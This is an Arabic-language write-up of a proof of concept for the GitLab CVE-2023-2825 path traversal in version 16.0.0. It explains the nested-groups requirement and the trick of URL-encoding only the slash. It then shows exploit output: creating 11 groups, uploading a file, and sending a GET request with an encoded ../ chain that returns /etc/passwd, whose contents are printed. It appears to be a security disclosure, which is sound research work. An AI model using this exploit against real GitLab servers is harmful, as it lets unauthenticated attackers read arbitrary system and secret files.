
GitLab CVE-2023-2825 PoC. يستغل هذا الـ PoC ثغرة اجتياز المسار (path traversal) لاسترداد ملف /etc/passwd من نظام يعمل بإصدار GitLab 16.0.0.
في 23 مايو 2023، أصدرت GitLab الإصدار 16.0.1 الذي أصلح ثغرة أمنية حرجة، CVE-2023-2825، والتي كانت تؤثر على الإصدار 16.0.0 من الإصدار المجتمعي (CE) والإصدار المؤسسي (EE). تسمح هذه الثغرة للمستخدمين غير المصادق عليهم بقراءة ملفات تعسفية عبر ثغرة تجاوز المسار. تم اكتشافها بواسطة pwnie على HackerOne من خلال برنامج مكافآت الثغرات الأمنية.
في وقت كتابة هذا التقرير، لم يكن هناك أي إثبات مفهوم (PoC) عام متاح.
يمكن لمستخدم خبيث غير مصادق عليه استخدام ثغرة تجاوز المسار لقراءة ملفات تعسفية على الخادم عندما يوجد مرفق في مشروع عام متداخل ضمن خمس مجموعات على الأقل. هذه مشكلة ذات خطورة حرجة (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
تتطلب هذه الثغرة شرطًا مثيرًا للاهتمام حيث يجب أن يكون المشروع متداخلًا في 5 مجموعات على الأقل. في اختباراتنا، وجدنا ارتباطًا مباشرًا بين عدد المجموعات وعدد الدلائل التي يمكنك تجاوزها. يبدو أن القاعدة هي N + 1، أي إذا كنت تريد تجاوز 10 دلائل، فأنت بحاجة إلى 11 مجموعة.
في تثبيت GitLab القياسي، يتم رفع الملفات المرفقة إلى /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. لذا إذا أردت الوصول إلى جذر نظام الملفات، يجب عليك الرجوع 10 دلائل، وبالتالي تحتاج إلى 11 مجموعة.
عند رفع ملف كمرفق في إحدى قضايا GitLab، يتم إرسال طلب إلى POST - /:repo/upload. يقوم هذا بإرجاع استجابة JSON تحتوي على رابط الملف، مما يسمح لك بالوصول إلى الملف.
يتكون رابط الملف من /:repo/uploads/:id/:file حيث :file هو اسم الملف نفسه. استبدال :file بأي مسار ملف سيؤدي إلى قيام GitLab بإرجاع الملف المطلوب. يفشل GitLab في تعقيم مسار الملف، مما يؤدي إلى تجاوز المسار.
للاستغلال الناجح لهذه الثغرة، يجب عليك ترميز / في مسار الملف باستخدام URL encoding. سيقرأ GitLab هذا كقيمة ويقوم بفك ترميزه داخليًا. عدم ترميزه سيؤدي إلى تفسير GitLab للرمز / في مسار الملف كجزء من المسار.
في اختباراتنا، كان ترميز / فقط كافيًا لتجاوز أخطاء مسار Nginx.
لا يمكن للمستخدمين غير المصادق عليهم استغلال هذه الثغرة إلا على المستودعات العامة التي تستوفي متطلبات المجموعات المتداخلة. المصادقة مطلوبة للوصول إلى المستودع نفسه.
قمنا بتطوير إثبات المفهوم بلغة Python. يقوم البرنامج بإنشاء 11 مجموعة، وينشئ مستودعًا عامًا، ويرفع ملفًا، ثم يستغل الثغرة للحصول على ملف /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
توصي GitLab بترقية جميع الإصدارات المتأثرة بهذه المشكلة في أقرب وقت ممكن.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/